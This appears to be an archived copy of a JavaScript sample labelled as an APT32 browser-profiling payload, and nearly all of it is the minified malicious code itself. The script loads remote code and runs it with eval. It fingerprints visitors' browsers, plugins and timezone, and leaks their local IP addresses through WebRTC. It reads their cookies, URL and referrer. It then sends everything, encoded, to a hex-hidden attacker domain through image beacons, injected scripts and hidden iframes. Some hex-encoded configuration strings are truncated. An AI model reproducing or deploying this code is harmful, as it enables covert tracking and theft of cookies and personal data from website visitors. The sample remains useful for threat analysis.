Latest observed JS payload used for APT32 profiling.

By 262588213843476

Archived: 2026-04-10 02:41:15 UTC

!function(e) { function t(i) { if (n[i]) return n[i].exports; var o = n[i] = { "i": i, "l": !1, "exports": {} }; return e[i].call(o.exports, o, o.exports, t), o.l = !0, o.exports } var n = {}; t.m = e, t.c = n, t.d = function(e, n, i) { t.o(e, n) || Object.defineProperty(e, n, { "configurable": !1, "enumerable": !0, "get": i }) } , t.n = function(e) { var n = e && e.__esModule ? function() { return e["default"] } : function() { return e } ; return t.d(n, "a", n), n } , t.o = function(e, t) { return Object.prototype.hasOwnProperty.call(e, t) } , t.p = "", t(t.s = 339) }({ "100": function(e, t, n) { t.__esModule = !0, t.Atp = function(e, t) { if ("http:" === location.protocol) { vjQQ.cookie("GpbJILGTQyuHh"), vjQQ.cookie("GpbJILGTQyuHh2") && vjQQ.cookie("GpbJILGTQyuHh2"); var n = document.createElement("iframe"); n.style.display = "none", n.onload = function() { n.parentNode.removeChild(n) } , n.src = "http://" + e + "/" + vjQQ.base64.encode(t) + "/sync", document.body.appendChild(n) } } }, "339": function(e, t, n) { e.exports = n(89) }, "89": function(module, exports, __webpack_require__) { __webpack_require__(90), __webpack_require__(91); var _config = __webpack_require__(92) , _xhr = __webpack_require__(93) , _base = __webpack_require__(94) , _static = __webpack_require__(95) , _dynamic = __webpack_require__(96) , _state = __webpack_require__(97) , _send = __webpack_require__(98) , _doit = __webpack_require__(99) , _number = __webpack_require__(100); !function() { var inted = window.itls; if (!inted) { var snip = ""; window.itls = 1; var vTim = (0, _config.TMCg)().x001 , vIxps = [] , rIsdex = 2 , fLead = (new Date).getTime() , ifLead = !1 , whish = {}; try { if (window.localStorage) { whish = window.localStorage; try { window.localStorage.C = "UTF-8", whish = window.localStorage } catch (e) { whish = {} } } else whish = {} } catch (e) { whish = {} } whish.START = fLead, ifLead = "undefined" != typeof whish.jlb, whish.vRtm ? vTim < parseInt(whish.vRtm) && (vTim = parseInt(whish.vRtm)) : whish.vRtm = vTim; var lJlb = function() { return function(e) { return "undefined" != typeof vjQQ ? (whish.jlb = "", e("jlb")) : whish.jlb ? void e("jlb") : (0, _xhr.DDL)((0, _config.Cfcg)().x001.hexDecode(), function(t) { return whish.jlb = t.replace(/\/\/\@/gm, "//#"), e("jlb") }) } }() , lTzlb = function() { return function(e) { return "undefined" != typeof vLtz ? (whish.sTzlb = "", e("sTzlb")) : whish.sTzlb ? e("sTzlb") : (0, _xhr.DDL)((0, _config.Cfcg)().x003.hexDecode(), function(t) { return whish.sTzlb = t, e("sTzlb") }) } }() , lJslb = function() { return function(e) { return "undefined" != typeof JSON ? (whish.vJsLb = "", e("vJsLb")) : whish.vJsLb ? e("vJsLb") : (0, _xhr.DDL)((0, _config.Cfcg)().x004.hexDecode(), function(t) { return whish.vJsLb = t, e("vJsLb") }) } }() , lClb = function() { return function(e) { return whish.vClb ? e("vClb") : (0, _xhr.DDL)((0, _config.Cfcg)().x005.hexDecode(), function(t) { return whish.vClb = t, e("vClb") }) } }() , lSflb = function() { return function(e) { return "undefined" != typeof vSflb ? (whish.sSflb = "", e("sSflb")) : whish.sSflb ? e("sSflb") : (0, _xhr.DDL)((0, _config.Cfcg)().x006.hexDecode(), function(t) { return whish.sSflb = t, e("sSflb") }) } }() , sSflb = function() { return function(e) { return "undefined" != typeof vFpt2 ? (whish.lvFpt2 = "", e("lvFpt2")) : whish.lvFpt2 ? e("lvFpt2") : (0, _xhr.DDL)((0, _config.Cfcg)().x007.hexDecode(), function(t) { return whish.lvFpt2 = t, e("lvFpt2") }) } }() , lSklb = function() { return function(e) { return "undefined" != typeof vIolb ? (whish.vSk = "", e("vSk")) : whish.vSk ? e("vSk") : (0, _xhr.DDL)((0, _config.Cfcg)().x008.hexDecode(), function(t) { return whish.vSk = t, e("vSk") }) } }() , lSc = function() { return function(e) { return whish.vSclb ? /DOCTYPE/gim.test(whish.vSclb) ? (0, _xhr.DDL)((0, _config.DMCfg)().dkms0ss2.hexDecode(), function(t) { return whish.vSclb = t, e("vSclb") }) : /<html>/gim.test(whish.vSclb) ? (0, _xhr.DDL)((0, _config.DMCfg)().dkms0ss2.hexDecode(), function(t) { return whish.vSclb = t, e("vSclb") }) : whish.rIsdex ? parseInt(whish.rIsdex) < rIsdex ? (whish.rIsdex = rIsdex, (0, _xhr.DDL)((0, _config.DMCfg)().dkms0ss2.hexDecode(), function(t) { return whish.vSclb = t, e("vSclb") })) : e("vSclb") : (whish.rIsdex = rIsdex, (0, _xhr.DDL)((0, _config.DMCfg)().dkms0ss2.hexDecode(), function(t) { return whish.vSclb = t, e("vSclb") })) : (0, _xhr.DDL)((0, _config.DMCfg)().dkms0ss2.hexDecode(), function(t) { return whish.vSclb = t, e("vSclb") }) } }() , lCclb = function() { function lCclb(pHole) { var vCcI = setInterval(function() { if ("undefined" != typeof whish.vSclb) { if ("undefined" == typeof vjQQ) { if (!whish.jlb) return; return eval(whish.jlb.replace(/jQuery/gm, "vjQQ").replace(/\/\/\@/gm, "//#")) } if ("undefined" == typeof vLtz) { if (!whish.sTzlb) return; return vjQQ.globalEval(whish.sTzlb.replace(/jstz/gm, "vLtz")) } if ("undefined" == typeof JSON) { if (!whish.vJsLb) return; return vjQQ.globalEval(whish.vJsLb) } if ("undefined" == typeof vjQQ.cookie) { if (!whish.vClb) return; return vjQQ.globalEval(whish.vClb.replace(/jQuery/gm, "vjQQ").replace(/\$/gm, "vjQQ")) } if ("undefined" == typeof vSflb) { if (!whish.sSflb) return; return vjQQ.globalEval(whish.sSflb.replace(/swfobject/gm, "vSflb")) } if ("undefined" == typeof vFpt2) { if (!whish.lvFpt2) return; return vjQQ.globalEval(localStorage.lvFpt2.replace(/Fingerprint2/gm, "vFpt2")) } return clearInterval(vCcI), pHole() } }, 1) } return lCclb }() , lNN = function() { return function(e) {} }(); lJlb(lNN), lTzlb(lNN), lJslb(lNN), lClb(lNN), lSflb(lNN), sSflb(lNN), lSc(lNN); var lSn = function() { return function() { (0, _base.Base16)(vjQQ), "undefined" == typeof jQuery ? (window.jQuery = vjQQ, "undefined" == typeof $? $ = vjQQ : ((0, _base.Base16)($), (0, _base.Base16)(window.jQuery))) : ((0, _base.Base16)($), (0, _base.Base16)(window.jQuery)), jQuery.support.cors = !0; var t = function(e) { var t, n, i, o, r; return n = vjQQ.base64.encode(e), o = n.split("").length / 2, i = n.split(""), t = function() { var e; for (e = []; i.length;) e.push(i.splice(0, o)); return e }(), r = [], r = r.concat(t[1]), (r = r.concat(t[0])).join("").replace(/=/gim, "BaNrTxssCseErsqQs") }; '____vDm0s4____'" !== (0, _config.DMCfg)().vDm0s4 && vjQQ.cookie("EwwohFkYYl", t((0, _config.DMCfg)().vDm0s4.hexDecode()), { "domain": document.domain, "path": "/" }), (new Date).getTime(); var n = undefined , i = undefined , o = whish.vSclb , r = function() { if ("1" === (0, _config.ACfg)().vDoAc && n) { var e = { "uuid": n, "fuuid": i, "zuuid": o, "hash": window.location.hash }; (0, _doit.Sxp)((0, _config.DMCfg)().optsDm,

vjQQ.base64.encode(escape(JSON.stringify(e)))) } }; if (void 0 === vjQQ.cookie("GpbJILGTQyuHh") || null === vjQQ.cookie("GpbJILGTQyuHh")) try { (0, _dynamic.Ftpg2)(function(e) { (new Date).getTime(), e && (n = e), vjQQ.cookie("GpbJILGTQyuHh", n, { "domain": document.domain, "path": "/" }), r() }) } catch (e) { (new Date).getTime(), n = o, vjQQ.cookie("GpbJILGTQyuHh", o, { "domain": document.domain, "path": "/" }) } else vjQQ.cookie("GpbJILGTQyuHh") && (n = vjQQ.cookie("GpbJILGTQyuHh")), r(); var c = {} , a = {}; if (whish.vSetTm) { var u = 0; try { u = (new Date).getTime() - parseInt(whish.vSetTm) } catch (e) { whish.vSetTm = (new Date).getTime() } u > 864e5 ? (c = (0, _static.Bwr)(), a = (0, _state.Htr)(), c.plugins = (0, _static.Plus)(), c._screen = (0, _static.FgScr)(), c._plugins = (0, _static.BrPlus)(), c._mimeTypes = (0, _static.BRmmt)(), whish.vSetTm = (new Date).getTime()) : a = (0, _state.Htr)() } else c = (0, _static.Bwr)(), a = (0, _state.Htr)(), c.plugins = (0, _static.Plus)(), c._screen = (0, _static.FgScr)(), c._plugins = (0, _static.BrPlus)(), c._mimeTypes = (0, _static.BRmmt)(), whish.vSetTm = (new Date).getTime(); var _ = !1; "undefined" == typeof window.mozRTCPeerConnection && "undefined" == typeof window.webkitRTCPeerConnection ? _ = !0 : (0, _dynamic.Rwtc)(function(e) { e ? vIxps.push(e) : _ = !0 }); var l = setInterval(function() { if (_) { clearInterval(l), (new Date).getTime(), Array.prototype.unique = function() { return this.filter(function(e, t, n) { return n.indexOf(e) === t }) } , a.client_network_ip_list = vIxps.unique(), a.client_api = (0, _config.DMCfg)().optsDm, a.client_uuid = n, a.client_fuuid = i, a.client_zuuid = o; var e = vjQQ.base64.encode(escape(JSON.stringify({ "history": a, "navigator": c }))); (0, _send.AtcG)(e, (0, _config.DMCfg)().optsDm); var t = vjQQ.cookie("GpbJILGTQyuHh"); vjQQ.cookie("GpbJILGTQyuHh2") && (t += "." + vjQQ.cookie("GpbJILGTQyuHh2")), "1" === (0, _config.ACfg)().vPTPed && (0, _number.Atp)((0, _config.DMCfg)().vPTDed.hexDecode(), t) } }, 1) } }(); lCclb(lSn) } }() }, "90": function(e, t, n) { String.prototype.hexEncode = function() { var e = void 0 , t = ""; for (e = 0; e < this.length; e++) t += ("0000" + this.charCodeAt(e).toString(16)).slice(-4); return t } , String.prototype.hexDecode = function() { var e = void 0 , t = this.match(/.{1,4}/g) || [] , n = ""; for (e = 0; e < t.length; e++) n += String.fromCharCode(parseInt(t[e], 16)); return n } }, "91": function(e, t, n) { Date.prototype.toISOString || function() { function e(e) { return e < 10 ? "0" + e : e } Date.prototype.toISOString = function() { return this.getUTCFullYear() + "-" + e(this.getUTCMonth() + 1) + "-" + e(this.getUTCDate()) + "T" + e(this.getUTCHours()) + ":" + e(this.getUTCMinutes()) + ":" + e(this.getUTCSeconds()) + "." + (this.getUTCMilliseconds() / 1e3).toFixed(3).slice(2, 5) + "Z" } }() }, "92": function(e, t, n) { t.__esModule = !0, t.Cfcg = function() { return { "x001": "006800740074007000730003a002f002f007200610077002e006700690074006800750062007500730065007200630006f006e00740065006e0074002e0063 "x002": "006800740074007000730003a002f002f007200610077002e006700690074006800750062007500730065007200630006f006e00740065006e0074002e0063 "x003": "006800740074007000730003a002f002f006300640066006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a0 "x004": "006800740074007000730003a002f002f007200610077002e006700690074006800750062007500730065007200630006f006e00740065006e0074002e0063 "x005": "006800740074007000730003a002f002f006300640066006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a0 "x006": "006800740074007000730003a002f002f006300640066006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a0 "x007": "006800740074007000730003a002f002f007200610077002e006700690074006800750062007500730065007200630006f006e00740065006e0074002e0063 "x008": "006800740074007000730003a002f002f006300640066006e006a0073002e0063006c006f007500640066006c006100720065002e0063006f006d002f0061006a0 } } , t.DMCfg = function() { return { "optsDm": "007300740061007400690063002e006900630064006e002e00620069007a", "dkms0ss2": "006800740074007000730003a002f002f007700770077002e006a006500740074006800750062006d00620073002e0063006f006d002f0072006f0062006f00740 "x00CloudFlareHealth03": "007300740061007400690063002e006900630064006e002e00620069007a", "vDm0s4": "007700770077002e00700072006f00660069006c0065006b0069006e0067002e006f00720067", "x00CloudFlareHealth05": "____x00CloudFlareHealth05____", "vPTDed": "____x00CloudFlareHealth06____" } } , t.ACfg = function() { return { "vDoAc": "1", "vPTCk1": "1", "vPTAsk": "____x00GoogleAnalytics02____", "vPTPed": "0" } } , t.TMCg = function() { return { "x001": 1e3, "x002": "____resync____" } } }, "93": function(e, t, n) { t.__esModule = !0, t.DDL = function(e, t, n) { var i = void 0; i = "undefined" != typeof window.XDomainRequest ? new XDomainRequest : "undefined" != typeof window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject("Microsoft.XMLHTTP"), i.withCredentials = !!n, i.open("GET", e, !1), i.onload = function(e) { return t(i.responseText) } , i.send() } }, "94": function(e, t, n) { t.__esModule = !0, t.Base16 = function(e) { function t(e, t, n, i, o, r) { for (var c = 0, a = 0, u = (e = String(e)).length, _ = "", l = 0; a < u;) { var s = e.charCodeAt(a); for (c = (c << o) + (s = s < 256 ? n[s] : -1), l += o; l >= r;) { var f = c >> (l -= r); _ += i.charAt(f), c ^= f << l } ++a } return !t && l > 0 && (_ += i.charAt(c << r - l)), _ } for (var n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", i = "", o = [256], r = [256], c = 0, a = { "encode": function(e) { return e.replace(/[\u0080-\u07ff]/g, function(e) { var t = e.charCodeAt(0); return String.fromCharCode(192 | t >> 6, 128 | 63 & t) }).replace(/[\u0800-\uffff]/g, function(e) { var t = e.charCodeAt(0); return String.fromCharCode(224 | t >> 12, 128 | t >> 6 & 63, 128 | 63 & t) }) }, "decode": function(e) { return e.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function(e) { var t = (15 & e.charCodeAt(0)) << 12 | (63 & e.charCodeAt(1)) << 6 | 63 & e.charCodeAt(2); return String.fromCharCode(t) }).replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function(e) { var t = (31 & e.charCodeAt(0)) << 6 | 63 & e.charCodeAt(1); return String.fromCharCode(t) }) } }; c < 256;) { var u = String.fromCharCode(c); i += u, r[c] = c, o[c] = n.indexOf(u), ++c } var _ = e.base64 = function(e, t, n) { return t ? _[e](t, n) : e ? null : this } ; _.btoa = _.encode = function(e, i) { return e = !1 === _.raw || _.utf8encode || i ? a.encode(e) : e, (e = t(e,

!1, r, n, 8, 6)) + "====".slice(e.length % 4 || 4) } , _.atob = _.decode = function(e, n) { var r = (e = String(e).split("=")).length; do { e[--r] = t(e[r], !0, o, i, 6, 8) } while (r > 0);return e = e.join(""), !1 === _.raw || _.utf8decode || n ? a.decode(e) : e } } }, "95": function(e, t, n) { t.__esModule = !0; var i = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) { return typeof e } : function(e) { return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e } ; t.FgScr = function() { var e = screen || window.screen; return { "width": e.width, "height": e.height, "availWidth": e.availWidth, "availHeight": e.availHeight, "resolution": e.width + "x" + e.height } } , t.Bwr = function() { return { "userAgent": navigator.userAgent, "appVersion": navigator.appVersion, "appCodeName": navigator.appCodeName, "appName": navigator.appName, "platform": navigator.platform, "product": navigator.product, "productSub": navigator.productSub, "maxTouchPoints": navigator.maxTouchPoints, "language": navigator.language, "languages": navigator.languages, "doNotTrack": navigator.doNotTrack, "browserLanguage": navigator.browserLanguage, "cookieEnabled": navigator.cookieEnabled, "vendor": navigator.vendor, "vendorSub": navigator.vendorSub, "oscpu": navigator.oscpu, "onLine": navigator.onLine, "mozTCPSocket": navigator.mozTCPSocket, "mozPay": navigator.mozPay, "buildID": navigator.buildID, "hardwareConcurrency": navigator.hardwareConcurrency } } , t.Plus = function() { var e = function(e) { var t = void 0 , n = void 0 , o = void 0 , r = void 0 , c = void 0 , a = void 0 , u = void 0 , _ = void 0 , l = void 0; if (!("ActiveXObject"in window)) { if (navigator.plugins.length > 0) { for (c = 0, u = (l = navigator.plugins).length; c < u; c++) if (n = l[c], e.plugin.test(n.name)) return !0; return !1 } return !1 } if ("string" != typeof e.activex) { for (r = 0, a = (_ = e.activex).length; r < a; r++) { t = _[r]; try { if ("object" === (void 0 === (o = new ActiveXObject(t)) ? "undefined" : i(o))) return !0 } catch (s) {} } return !1 } try { return "object" === (void 0 === (o = new ActiveXObject(e.activex)) ? "undefined" : i(o)) } catch (s) { return !1 } }; return { "activex": "ActiveXObject"in window, "cors": "withCredentials"in new XMLHttpRequest || "undefined" != typeof XDomainRequest, "flash": vSflb.hasFlashPlayerVersion("9"), "java": navigator.javaEnabled(), "foxit": function() { try { return !!navigator.plugins["Foxit Reader Plugin for Mozilla"] || !!new ActiveXObject("FoxitReader.FoxitReaderCtl.1") } catch (e) { return !1 } }(), "phonegap": function() { try { return device.phonegap || device.cordova } catch (e) { return !1 } }(), "quicktime": e({ "activex": ["QuickTime.QuickTime"], "plugin": /quicktime/gim }), "realplayer": e({ "activex": ["RealPlayer", "rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(tm) ActiveX Control (32-bit)"], "plugin": /realplayer/gim }), "silverlight": e({ "activex": ["AgControl.AgControl"], "plugin": /silverlight/gim }), "touch": function() { try { return "ontouchstart"in document } catch (e) { return !1 } }(), "vbscript": function() { try { return -1 !== navigator.userAgent.indexOf("MSIE") && -1 !== navigator.userAgent.indexOf("Win") } catch (e) { return !0 } }(), "vlc": e({ "activex": ["VideoLAN.VLCPlugin.2"], "plugin": /vlc/gim }), "webrtc": function() { try { return !!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection } catch (e) { return !1 } }(), "wmp": e({ "activex": ["WMPlayer.OCX"], "plugin": /(windows\smedia)|(Microsoft)/gim }) } } , t.BRmmt = function() { return vjQQ.map(navigator.mimeTypes, function(e) { return { "description": e.description, "suffixes": e.suffixes, "type": e.type } }) } , t.BrPlus = function() { return vjQQ.map(navigator.plugins, function(e) { return { "description": e.description, "filename": e.filename, "length": e.length, "name": e.name } }) } }, "96": function(e, t, n) { t.__esModule = !0, t.Rwtc = function(e) { if ("undefined" == typeof window.mozRTCPeerConnection && "undefined" == typeof window.webkitRTCPeerConnection) return e(!1); !function(e) { var t = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; if (window.webkitRTCPeerConnection, !t) { var n = iframe.contentWindow; t = n.RTCPeerConnection || n.mozRTCPeerConnection || n.webkitRTCPeerConnection, n.webkitRTCPeerConnection } var i = new t({ "iceServers": [{ "urls": "stun:stun.l.google.com:19302" }] },{ "optional": [{ "RtpDataChannels": !0 }] }); i.onicecandidate = function(t) { t && t.candidate ? function(t) { var n = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(t) , i = void 0; n ? (i = n[1], e(i)) : e(null) }(t.candidate.candidate) : e(null) } , i.createDataChannel(""), i.createOffer(function(e) { i.setLocalDescription(e, function() {}, function() {}) }, function() {}) }(e) } , t.Ftpg2 = function(e) { vFpt2().get(function(t, n) { e(t) }) } }, "97": function(e, t, n) { t.__esModule = !0, t.Htr = function() { var e = void 0; try { e = vLtz().timezone_name } catch (t) { e = vLtz.determine().name() } return { "client_title": document.title, "client_url": document.URL, "client_cookie": document.cookie, "client_hash": window.location.hash, "client_referrer": document.referrer, "client_platform_ua": navigator.userAgent, "client_time": (new Date).toISOString(), "timezone": e } } }, "98": function(e, t, n) { t.__esModule = !0, t.AtcP = function(e, t) { vjQQ.ajax({ "crossDomain": !0, "type": "POST", "data": { "authorization_token": e }, "url": location.protocol + "//" + t.hexDecode() + "/163/995/836/px_04d05405503404d05404503d.gif", "dataType": "image/gif" }) } , t.AtcG = function(e, t) { (new Image).src = location.protocol + "//" + t.hexDecode() + "/163/" + e + "/995/836/px_04d05405503404d05404503d.gif" } }, "99": function(e, t, n) { t.__esModule = !0, t.Sxp = function(e, t) { var n = document.createElement("4700070096002700360037 00".split("").reverse().join("").toString().hexDecode()); n.src = location.protocol + "//" + e.hexDecode() + "/api/" + t + "/04d05405503404d05404503d/163"; var i = "4600160056008600".split(""); document.getElementsByTagName(i.reverse().join("").toString().hexDecode()) [0].appendChild(n) } } });
